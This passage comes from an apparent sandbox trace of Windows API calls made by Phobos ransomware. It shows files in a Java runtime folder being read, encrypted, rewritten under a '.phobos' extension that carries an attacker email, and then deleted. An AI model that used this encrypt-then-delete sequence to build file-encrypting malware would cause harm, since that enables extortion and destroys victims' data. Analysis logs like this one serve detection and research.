(hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.377] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0049.377] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0049.377] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0049.377] CryptDestroyKey (hKey=0x10dc690) returned 1 [0049.377] CloseHandle (hObject=0x2fc) returned 1 [0049.377] CloseHandle (hObject=0x328) returned 1 [0049.378] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0049.379] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.379] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=12250) returned 1 [0049.379] CloseHandle (hObject=0x328) returned 1 [0049.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0049.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.379] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.379] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.379] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc850) returned 1 [0049.380] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.380] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2fda, lpOverlapped=0x0) returned 1 [0049.411] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2fe0) returned 1 [0049.411] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2fe0, lpOverlapped=0x0) returned 1 [0049.412] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0049.412] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.412] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0049.412] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0049.412] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0049.412] CryptDestroyKey (hKey=0x10dc850) returned 1 [0049.412] CloseHandle (hObject=0x328) returned 1 [0049.412] CloseHandle (hObject=0x2fc) returned 1 [0049.413] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0049.414] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.457] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=153) returned 1 [0049.457] CloseHandle (hObject=0x2fc) returned 1 [0049.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0049.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.458] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.458] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.731] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0049.731] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.731] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x99, lpOverlapped=0x0) returned 1 [0049.732] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa0, dwBufLen=0xa0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa0) returned 1 [0049.732] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa0, lpOverlapped=0x0) returned 1 [0049.733] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0049.733] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.733] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x60, dwBufLen=0x60 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x60) returned 1 [0049.733] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0049.733] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x112, lpOverlapped=0x0) returned 1 [0049.733] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0049.733] CloseHandle (hObject=0x2fc) returned 1 [0049.733] CloseHandle (hObject=0x31c) returned 1 [0049.737] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0049.739] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.740] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=153) returned 1 [0049.740] CloseHandle (hObject=0x31c) returned 1 [0049.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0049.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.741] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.741] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.745] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc610) returned 1 [0049.745] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.745] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x99, lpOverlapped=0x0) returned 1 [0049.746] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa0, dwBufLen=0xa0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa0) returned 1 [0049.746] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa0, lpOverlapped=0x0) returned 1 [0049.747] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0049.747] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.747] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x60, dwBufLen=0x60 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x60) returned 1 [0049.747] CryptDestroyKey (hKey=0x10dc790) returned 1 [0049.747] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x112, lpOverlapped=0x0) returned 1 [0049.747] CryptDestroyKey (hKey=0x10dc610) returned 1 [0049.747] CloseHandle (hObject=0x328) returned 1 [0049.747] CloseHandle (hObject=0x2fc) returned 1 [0049.748] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0049.749] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.757] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=147) returned 1 [0049.757] CloseHandle (hObject=0x2fc) returned 1 [0049.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0049.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.757] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.757] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.769] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcbd0) returned 1 [0049.769] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.769] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x93, lpOverlapped=0x0) returned 1 [0049.771] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa0, dwBufLen=0xa0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa0) returned 1 [0049.771] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa0, lpOverlapped=0x0) returned 1 [0049.772] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0049.772] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.772] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0049.772] CryptDestroyKey (hKey=0x10dc790) returned 1 [0049.772] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0049.772] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0049.772] CloseHandle (hObject=0x2fc) returned 1 [0049.772] CloseHandle (hObject=0x31c) returned 1 [0049.778] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0049.786] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.791] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=105500) returned 1 [0049.791] CloseHandle (hObject=0x2fc) returned 1 [0049.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0049.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.792] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.792] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.792] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc710) returned 1 [0049.792] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.792] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x19c1c, lpOverlapped=0x0) returned 1 [0050.405] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x19c20, dwBufLen=0x19c20 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x19c20) returned 1 [0050.405] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x19c20, lpOverlapped=0x0) returned 1 [0050.408] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0050.408] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0050.408] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0050.408] CryptDestroyKey (hKey=0x10dc690) returned 1 [0050.408] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0050.408] CryptDestroyKey (hKey=0x10dc710) returned 1 [0050.408] CloseHandle (hObject=0x2fc) returned 1 [0050.408] CloseHandle (hObject=0x310) returned 1 [0050.410] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0050.411] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0050.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0050.412] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=955) returned 1 [0050.412] CloseHandle (hObject=0x310) returned 1 [0050.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0050.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: 